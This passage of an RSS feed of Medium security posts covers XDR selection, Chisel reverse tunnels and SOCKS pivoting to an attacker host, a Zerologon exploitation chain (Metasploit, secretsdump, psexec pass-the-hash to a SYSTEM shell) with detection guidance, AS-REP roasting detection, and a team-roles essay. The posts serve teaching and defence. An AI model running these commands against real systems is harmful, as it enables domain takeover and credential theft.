lifting.</p><h3>🧩 10. Ease of Use &amp; Time to Value</h3><p>Complex tools don’t mean better protection. Evaluate how quickly the XDR platform can be:</p><ul><li>Deployed across your environment</li><li>Tuned for your specific risk profile</li><li>Adopted by your analysts</li></ul><p>A clean, centralized console with intuitive workflows and automation reduces fatigue and accelerates response.</p><h3>Final Thoughts</h3><p>If there’s one killer feature every business should look for, it’s this: <strong>Intelligence-driven automation.</strong></p><p>When an XDR solution can combine real-time threat intelligence, AI-driven detection, and automated containment into a unified platform — <strong>that’s when your security team moves from reactive to proactive</strong>.</p><p>In a world where attacks are faster, more targeted, and increasingly stealthy, the XDR you choose can be the difference between a minor alert and a major breach.</p><p>💡 <strong>Tip for Decision-Makers:</strong> Always pilot a shortlist of XDR tools. Evaluate them not just by features, but by how well they align with your organization’s size, maturity, and security goals. Ask:</p><ul><li>Can it scale with us?</li><li>Does it cover our full attack surface?</li><li>Can we respond in minutes, not hours?</li></ul><p>With the right choice, XDR becomes more than a tool — it becomes your cyber defense backbone.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f50b30f732b" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/choosing-the-right-xdr-solution-7f50b30f732b">Choosing the Right XDR Solution</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Utilizing Chisel in Penetration Testing]]></title>
            <link>https://meetcyber.net/utilizing-chisel-in-penetration-testing-47d70ff2b631?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/47d70ff2b631</guid>
            <category><![CDATA[ssh-tunnel]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Fri, 06 Dec 2024 09:51:54 GMT</pubDate>
            <atom:updated>2024-12-06T21:20:50.682Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cucEcSy3K-98Fzqt.png" /></figure><p>Chisel is a fast TCP/UDP tunnel, transported over HTTP and secured via SSH. It is particularly useful for penetration testers when dealing with restrictive networks or for creating reverse tunnels during assessments. In this blog post, we will walk through leveraging <strong>Chisel</strong> to establish tunnels and SOCKS proxies in pentesting scenarios using specific configurations.</p><h3>What is Chisel?</h3><p>Chisel is a single binary, cross-platform tool that can work as both a client and a server, offering:</p><ol><li>Port forwarding (local and reverse).</li><li>SOCKS proxies for network traversal.</li><li>Encrypted communication for stealthy operations.</li></ol><h3>Setup Scenarios</h3><p>Here, we’ll use Chisel to create reverse port forwarding and SOCKS proxies for traffic redirection. The configurations provided demonstrate three use cases:</p><ol><li>Redirecting traffic to a target application.</li><li>Establishing multiple reverse tunnels for different services.</li><li>Creating a SOCKS proxy for dynamic port forwarding.</li></ol><h3>1. Redirecting Traffic to a Target Application</h3><p>In this scenario, Chisel will forward traffic to an internal application running on port 8888 of the target machine.</p><p><strong>Commands:</strong></p><pre># On the attacker machine (server)<br>chisel server -p 8002 --reverse </pre><pre># On the target machine (client)<br>chisel client 10.16.1.51:8002 8888:127.0.0.1:8888 &amp;</pre><p><strong>Explanation:</strong></p><ul><li><strong>Server Command:</strong></li><li>chisel server -p 8002 --reverse: Starts a reverse tunneling server on port 8002.</li></ul><p><strong>Client Command:</strong></p><ul><li>chisel client 10.16.1.51:8002 8888:127.0.0.1:8888 &amp;: Establishes a reverse tunnel redirecting traffic from the attacker&#39;s machine to port 8888 on the target machine.</li></ul><p><strong>Use Case:</strong> This setup allows accessing a web application or service running on port 8888 of the target machine from the attacker’s machine.</p><h3>2. Establishing Multiple Reverse Tunnels</h3><p>Chisel can also create multiple tunnels for various services. For example, forwarding traffic to a service running on port 9999.</p><p><strong>Commands:</strong></p><pre># On the attacker machine (server)<br>chisel server -p 8001 --reverse </pre><pre># On the target machine (client)<br>chisel client 10.16.1.51:8001 9999:127.0.0.1:9999 &amp;</pre><p><strong>Explanation:</strong></p><p><strong>Server Command:</strong></p><ul><li>chisel server -p 8001 --reverse: Creates another reverse tunnel server listening on port 8001.</li></ul><p><strong>Client Command:</strong></p><ul><li>chisel client 10.16.1.51:8001 9999:127.0.0.1:9999 &amp;: Forwards traffic for services running on port 9999 of the target machine to the attacker’s system.</li></ul><p><strong>Use Case:</strong> Useful for accessing multiple services from different ports during an engagement.</p><h3>3. Creating a SOCKS Proxy</h3><p>One of the most powerful features of Chisel is creating a SOCKS proxy, enabling dynamic port forwarding for unrestricted access to the internal network.</p><p><strong>Commands:</strong></p><pre># On the attacker machine (server)<br>chisel server --reverse --port 51234</pre><pre># On the target machine (client)<br>chisel client 10.16.1.51:51234 R:50080:socks &amp;</pre><p><strong>Explanation:</strong></p><ul><li><strong>Server Command:</strong></li><li>chisel server --reverse --port 51234: Sets up a reverse server on port 51234.</li><li><strong>Client Command:</strong></li><li>chisel client 10.16.1.51:51234 R:50080:socks &amp;: Creates a SOCKS proxy accessible on 127.0.0.1:50080 on the attacker’s machine.</li></ul><p><strong>Use Case:</strong> This SOCKS proxy allows tunneling traffic through the target machine, providing full access to internal resources using tools like <strong>Proxychains</strong> or a browser.</p><h3>Practical Example: Using SOCKS5 Proxy</h3><pre>                                                                                                 <br> _____________________                                                                           _____________________                             _______                _______<br>|                     |                                                                         |                     |                           |       |              |       |<br>|                     |                        _______________________                          |                     |                           |       |    _______   |       |    <br>|     ATTACK BOX      |                       |     ===============&gt;&gt; |                         |     TARGET BOX      | &lt;&lt;===================&gt;&gt;    -------    |       |   -------<br>|                     | =====[SSH TUNNEL]=====|     [HTTP WEB SOCKET] |=====[SSH TUNNEL]=====&gt;&gt; |                     | -----SOCKS5 PROXY-----&gt;               |       |<br>|    CHISEL CLIENT    | |                     |_______________________|                         |    CHISEL SERVER    | &lt;&lt;===================&gt;&gt;    _______     -------    _______<br>|                     | |                                                                       |                     |                           |       |              |       |<br>|_____________________| |                                                                       |_____________________|                           |       |              |       |  <br>                        |                                                                                                                          -------                -------<br>   127.0.0.1:50080------&#39;                                                                                                                          ADDITIONAL TARGETS OR NETWORKS</pre><p>Once the SOCKS proxy is established, you can configure tools or your browser to use it. For example:</p><p><strong>Configuring Proxychains:</strong></p><ol><li>Open the Proxychains configuration file:</li></ol><pre>nano /etc/proxychains.conf</pre><ol><li>Add the following line:</li></ol><pre>socks5 127.0.0.1 50080</pre><ol><li>Save and exit.</li></ol><p><strong>Using Proxychains with Nmap:</strong></p><pre>proxychains nmap -sT -Pn -p 80,443,22 192.168.1.0/24</pre><p><strong>Browser Setup:</strong></p><ol><li>Go to your browser’s proxy settings.</li><li>Set the SOCKS5 proxy to 127.0.0.1 with port 50080.</li></ol><h3>Best Practices</h3><ol><li><strong>Encrypt Traffic:</strong> Use additional encryption mechanisms for added security during engagements.</li><li><strong>Test Connectivity:</strong> Always verify tunnels with tools like curl, telnet, or nc to ensure proper setup.</li><li><strong>Combine with Other Tools:</strong> Utilize Chisel in combination with <strong>Proxychains</strong>, <strong>Metasploit</strong>, or <strong>Nmap</strong> for comprehensive access and reconnaissance.</li></ol><h3>Conclusion</h3><p>Chisel is a versatile and lightweight tool that simplifies tunneling and network traversal during penetration testing. The configurations shared in this blog post demonstrate its practicality in real-world engagements, enabling attackers to bypass firewalls, access internal services, and maintain persistent connections.</p><p><strong>Disclaimer:</strong> Always ensure you have proper authorization before using Chisel or similar tools in any environment. Unauthorized usage may lead to severe legal consequences.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47d70ff2b631" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/utilizing-chisel-in-penetration-testing-47d70ff2b631">Utilizing Chisel in Penetration Testing</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking and Detecting Zerologon (CVE-2020–1472)]]></title>
            <link>https://medium.com/@egycondor/attacking-and-detecting-zerologon-cve-2020-1472-c705b32dec84?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/c705b32dec84</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Fri, 06 Dec 2024 08:44:32 GMT</pubDate>
            <atom:updated>2024-12-06T08:44:32.797Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*a2xtnsFoOHLJPNxE.jpg" /></figure><h3>Introduction</h3><p>The Zerologon vulnerability (CVE-2020–1472) remains a potent threat for organizations that have not yet patched their domain controllers. Attackers exploit this flaw to gain administrative privileges on a Windows domain by abusing the Netlogon Remote Protocol. This blog explores an advanced exploitation scenario using Metasploit and Impacket tools and provides detailed detection techniques to mitigate this threat.</p><h3>Exploiting Zerologon with Metasploit and Impacket</h3><h4>Prerequisites</h4><ol><li><strong>Metasploit Framework</strong> installed on Kali Linux.</li><li><strong>Impacket toolkit</strong> for credential dumping and remote execution.</li><li><strong>Network access</strong> to the domain controller.</li></ol><h4>Steps to Exploit</h4><p>1. Using Metasploit to Exploit Zerologon</p><p>Launch the Zerologon auxiliary module in Metasploit:</p><pre>msf6 &gt; use auxiliary/admin/dcerpc/cve_2020_1472_zerologon<br>msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) &gt; set RHOSTS 10.10.10.200<br>msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) &gt; run</pre><p><strong>Example Output</strong>:</p><pre>[*] Running module against 10.10.10.200<br>[*] 10.10.10.200: - Connecting to the endpoint mapper service...<br>[*] 10.10.10.200:49666 - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:10.10.10.200[49666] ...<br>[*] 10.10.10.200:49666 - Successfully authenticated<br>[+] 10.10.10.200:49666 - Successfully set the machine account (dc01$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)<br>[*] Auxiliary module execution completed</pre><p>The exploit sets the domain controller’s machine account password to a known value.</p><p>2. Dumping Credentials with Impacket</p><p>Use Impacket’s secretsdump.py to extract domain credentials:</p><pre>impacket-secretsdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 &#39;boliro/DC01$@10.10.10.200&#39;</pre><p><strong>Example Output</strong>:</p><pre>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:1ca6fd2f87f6b43d4459995ca983a17c:::<br>...</pre><p>This reveals NTLM hashes for domain accounts, including the Administrator account.</p><p>3. Remote Code Execution with Impacket</p><p>Using the extracted Administrator hash, execute commands on the domain controller:</p><pre>impacket-psexec -hashes &#39;aad3b435b51404ee:1ca6fd2f87f6b43d4459995ca983a17c&#39; boliro.local/administrator@10.10.10.200</pre><p><strong>Example Output</strong>:</p><pre>[*] Requesting shares on 10.10.10.200.....<br>[*] Found writable share ADMIN$<br>[*] Uploading file gyzhRMJn.exe<br>[*] Opening SVCManager on 10.10.10.200.....<br>[*] Creating service CjzR on 10.10.10.200.....<br>[*] Starting service CjzR.....<br>Microsoft Windows [Version 10.0.17763.348]<br>C:\Windows\system32&gt; whoami<br>nt authority\system</pre><p>The attacker gains a shell with <strong>SYSTEM</strong> privileges on the domain controller.</p><h3>Detecting Zerologon Attacks</h3><h4>Indicators of Compromise (IoCs)</h4><p><strong>Machine Account Password Reset</strong>:</p><ul><li>Look for unauthorized password resets for machine accounts (e.g., DC01$).</li></ul><p><strong>Excessive Authentication Attempts</strong>:</p><ul><li>Multiple Netlogon requests from a single source IP.</li></ul><h4>Detection Tools and Techniques</h4><p><strong>Monitor Event Logs</strong></p><ul><li><strong>Event ID 4742</strong>: Indicates machine account password changes.</li><li><strong>Event ID 5827–5829</strong>: Logs for authentication anomalies.</li></ul><p><strong>Analyze Network Traffic</strong></p><p>Inspect Netlogon communication using Wireshark or Zeek:</p><ul><li>Look for zeroed-out IVs in MS-NRPC traffic.</li></ul><p><strong>Use SIEM Rules</strong></p><p>Deploy custom detection rules in your SIEM system.</p><p><strong>Example ELK KQL Query</strong>:</p><pre>event_id:4742 AND object_type:&quot;computer account&quot; AND account_name:&quot;DC01$&quot;</pre><h3>Mitigation and Hardening</h3><p><strong>Patch Management</strong>:</p><ul><li>Apply Microsoft’s patch for Zerologon (KB4557222).</li></ul><p><strong>Network Segmentation</strong>:</p><ul><li>Restrict access to domain controllers from untrusted systems.</li></ul><p><strong>Logging and Alerting</strong>:</p><ul><li>Enable detailed logging for Netlogon and monitor for anomalies.</li></ul><p><strong>Enforce Secure RPC</strong>:</p><ul><li>Enable secure Netlogon channel enforcement via Group Policy.</li></ul><h3>Conclusion</h3><p>Zerologon exemplifies the devastating impact of exploiting cryptographic flaws in critical protocols. By understanding the exploitation process and implementing robust detection and mitigation strategies, organizations can better protect their environments against such threats.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c705b32dec84" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting AS-REP Roasting Attacks]]></title>
            <link>https://systemweakness.com/detecting-as-rep-roasting-attacks-b5b3965f9714?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5b3965f9714</guid>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[detection]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Wed, 04 Dec 2024 17:56:33 GMT</pubDate>
            <atom:updated>2024-12-10T15:40:34.798Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EgkJUeAVU7akfoIO.jpg" /></figure><h3><strong>What Is AS-REP Roasting?</strong></h3><p>AS-REP Roasting exploits a specific Kerberos misconfiguration in AD environments. Here’s how it works:</p><ul><li>When a user initiates Kerberos authentication, the client sends an <strong>Authentication Service Request (AS-REQ)</strong> to the Domain Controller (DC).</li><li>The DC validates the request and responds with an <strong>Authentication Service Reply (AS-REP)</strong>, containing an encrypted Ticket Granting Ticket (TGT).</li><li>This TGT is encrypted using the user’s NTLM password hash.</li></ul><p>If <strong>Kerberos pre-authentication</strong> is disabled (the user account has the DONT_REQ_PREAUTH attribute enabled), attackers can request AS-REPs for such accounts. The returned TGTs, encrypted with the user’s password hash, can then be brute-forced offline to reveal plaintext credentials.</p><h3><strong>Detecting AS-REP Roasting in Logs</strong></h3><h4>Key Log Event: Event ID 4768</h4><p>Event ID 4768 is recorded whenever a Kerberos TGT is issued. By analyzing these logs, you can identify potential AS-REP Roasting attempts.</p><h4>Fields to Look For</h4><p><strong>Pre-Authentication Type: 0</strong></p><p>Indicates pre-authentication is disabled, a critical condition for AS-REP roasting.</p><p><strong>Ticket Encryption Type: 0x17 (RC4-HMAC)</strong></p><p>Attack tools like <strong>Rubeus</strong> and <strong>Impacket</strong> default to requesting tickets with RC4 encryption, as it is easier to crack.</p><pre>root@Attacker:/home# GetNPUsers.py boliro.local/lowrance.corabelle@10.10.10.200<br>Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies </pre><pre>Password:<br>[*] Cannot authenticate lowrance.corabelle@10.10.10.200, getting its TGT<br>$krb5asrep$23$lowrance.corabelle@10.10.10.200@BOLIRO.LOCAL:8c6e84ecc3eef3939b30abd0d3861021$85ce6943a9bd3ae030d7416a70a959776a17f9a93a869d0f82765e4340e42da8c98fb3b9830c2ae7d28475222eb54bbac253ff7199e6c8212bb4916e039a076d9f9cf48b4d6eb54ded<br>f1c7b276e3f916b134c711e39861c97913c6334e9e91291009e1e2d3e770c5c9a0d24d7a45e5434c6dcf134e45714dbc7bf4c83cd2272f801601471e0f045c87daf8ea5b3f0f5afa50c7b70a442d9cdc439c1d65e742eec871b348c8488d30f8c057bcd269f7eccf3f67bb67b01767560ce1df11dc5400<br>53bada2b66432962523d09abf9b910c7ac111cf545937b5a693daf971668bd6304d181ad767dcb30713646a4</pre><p><strong>Service Name: krbtgt</strong></p><p>A legitimate service responsible for handling Kerberos authentication.</p><h4>Example Log Analysis</h4><p>Here’s a sample Event ID 4768 log entry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*6X5mLRct1w6hfT9qeeLZkg.png" /></figure><p>This entry indicates that the account lowrance.corabelle has pre-authentication disabled and was targeted from IP address 10.10.10.20</p><h3>Correlating Logs for Comprehensive Detection</h3><p><strong>Filter Logs for Event ID 4768</strong>: Focus on entries with:</p><ul><li>Pre-Authentication Type = 0</li><li>Ticket Encryption Type = 0x17</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*UMpqbDrsWcZyQNkMIvX2Lw.png" /></figure><p><strong>Baseline Analysis</strong>: Compare the frequency of Event ID 4768 under normal conditions to identify anomalies such as spikes or unusual IPs making repeated requests.</p><h3>Detecting AS-REP Roasting in Network Traffic</h3><h4>Key Indicators in Kerberos Traffic</h4><p><strong>AS-REQ and AS-REP Anomalies</strong>:</p><ul><li>Look for a high volume of <strong>AS-REQ</strong> packets originating from a single source.</li><li>Monitor for <strong>AS-REP</strong> responses without accompanying pre-authentication data (PA-ENC-TIMESTAMP missing).</li></ul><p><strong>Port 88 Traffic</strong>:</p><ul><li>Kerberos traffic occurs over TCP/UDP port 88. Filter traffic to identify unusual patterns.</li></ul><h4>Wireshark Filters</h4><p>Capture AS-REQ and AS-REP traffic with:</p><pre>tcp.port == 88 || udp.port == 88</pre><p>Analyze the <strong>Kerberos AS-REP</strong> packets for:</p><ul><li>Absence of PA-DATA fields.</li><li>Encryption types indicating RC4-HMAC (Type 23).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*esQ7_hVZ6PndtPuppZCmVQ.png" /></figure><h3>Practical Steps for Detection and Mitigation</h3><h4>1. Detection Workflow</h4><ul><li><strong>Log Analysis</strong>: Continuously monitor Event ID 4768 in a SIEM platform.</li><li><strong>Network Monitoring</strong>: Use tools like Zeek, Wireshark, and Suricata to analyze Kerberos traffic.</li><li><strong>Correlation</strong>: Cross-reference logs and network activity to pinpoint malicious behavior.</li></ul><h4>2. Mitigation</h4><ul><li><strong>Audit AD Accounts</strong>: Identify and reconfigure accounts with DONT_REQ_PREAUTH enabled.</li><li><strong>Implement Strong Password Policies</strong>:<br>Enforce long, complex passwords to resist offline cracking.</li><li><strong>Enable Kerberos Logging</strong>:<br>Ensure all relevant Kerberos events are logged on domain controllers.</li><li><strong>Network Segmentation</strong>:<br>Restrict unauthorized access to DCs and Kerberos traffic.</li></ul><h3>Conclusion</h3><p>Detecting AS-REP Roasting requires a multifaceted approach combining log analysis and network monitoring. While this attack leverages simple misconfigurations, its impact can be devastating if left undetected. Regular audits, robust monitoring, and timely remediation are critical to securing your AD environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5b3965f9714" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/detecting-as-rep-roasting-attacks-b5b3965f9714">Detecting AS-REP Roasting Attacks</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Ultimate Security Team Concept: Learning from FIFA]]></title>
            <link>https://medium.com/@egycondor/the-ultimate-security-team-concept-learning-from-fifa-820743bede50?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/820743bede50</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Mon, 09 Sep 2024 05:54:52 GMT</pubDate>
            <atom:updated>2024-09-09T05:54:52.769Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2QGRzyv5xes9Dgzt" /></figure><p>In the world of football, success depends on how well a team is balanced and coordinated. FIFA’s Ultimate Team concept teaches us that it’s not just about having star players in one area, but building a cohesive unit where each position complements the other. The same can be said for a security team within an organization. In cybersecurity, every team member plays a specific and vital role, working together to defend against threats and maintain the organization’s security posture. Just as a well-rounded football team can win matches, a well-structured security team can defend against even the most sophisticated cyberattacks.</p><p>Let’s break down the key roles within a security team and how they resemble a football squad — each position contributing uniquely to the overall strategy, keeping the organization safe and secure.</p><h3>GRC (The Goalkeeper): The Rule Enforcer</h3><p>The <strong>Governance, Risk, and Compliance (GRC)</strong> team plays the role of the <strong>goalkeeper</strong> in the cybersecurity team. Just like a goalkeeper ensures the rules of the game are followed and keeps the goal secure, the GRC team ensures that the organization operates within regulatory boundaries and maintains proper risk management. They act as the last line of defense, ensuring that no policies are breached and that the company complies with industry standards. Without a strong GRC team, the organization would be exposed to compliance failures and operational risks that could leave the business vulnerable to penalties or cyber threats.</p><h3>Threat Intelligence and Incident Response (The Defenders): The Protectors</h3><p>The <strong>Threat Intelligence and Incident Response (IR)</strong> teams are the <strong>defenders</strong>. Their primary responsibility is to protect the organization from ongoing threats and react quickly to incidents. Just like defenders who prevent opposing players from getting close to the goal, these teams work to detect, assess, and mitigate any security breaches that could harm the organization. They provide continuous monitoring, identify potential threats early, and respond swiftly to neutralize risks. Their goal is to ensure attackers don’t get too far into the organization’s infrastructure.</p><h3>Security Architecture and Engineering (The Midfielders): The Backbone of the Team</h3><p>The <strong>Security Architecture and Engineering</strong> team functions as the <strong>midfielders</strong> in the cybersecurity world. In football, midfielders are essential for controlling the pace of the game, linking defense with attack, and ensuring smooth transitions. Similarly, the security engineering team designs and builds the technical foundation of the organization’s security. They are responsible for deploying tools, systems, and processes that make security seamless and effective. Just like midfielders, they keep everything connected and running efficiently, allowing the rest of the team to perform their tasks without disruption.</p><h3>Red Team and Penetration Testing (The Forwards): The Offensive Experts</h3><p>The <strong>Red Team</strong> and <strong>penetration testers</strong> are the <strong>forwards</strong> or attackers in the security team. Just as forwards go on the offense to score goals, these teams proactively search for weaknesses within the organization’s systems. Their role is to exploit vulnerabilities and challenge the defense by simulating real-world attacks. The insights they gain allow the security team to strengthen its defenses and ensure that potential attackers are thwarted. By pushing the boundaries and testing the limits of security, they help the organization stay one step ahead of cyber threats.</p><h3>CISO (The Manager): The Strategic Leader</h3><p>At the top of the security hierarchy sits the <strong>Chief Information Security Officer (CISO)</strong> — the <strong>manager</strong> of the team. The CISO is responsible for setting the strategy and ensuring that all team members are aligned with the organization’s overall security goals. Just like a football manager who guides players and adjusts tactics based on the game, the CISO oversees the entire security program, making decisions about resource allocation, risk management, and security priorities. They ensure the team is focused on the right objectives and that the organization remains resilient to emerging threats.</p><h3>Building the Ultimate Security Team</h3><p>In football, the strength of a team lies in its ability to function as a unit, with every player knowing their role and how they contribute to the game. Similarly, a cybersecurity team must be well-coordinated, with each member specializing in a specific area while working together towards a common goal: securing the organization.</p><p>FIFA’s Ultimate Team teaches us the importance of balance, where defenders, midfielders, and forwards all work in harmony. In cybersecurity, this balance ensures that no single point of failure exists, and that all areas — detection, prevention, response, and testing — are covered. Each role is crucial, and success depends on how well the team functions as a whole. Just as a football team needs to practice and refine its strategy, a security team must stay up-to-date with the latest threats, tools, and techniques to remain effective.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=820743bede50" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>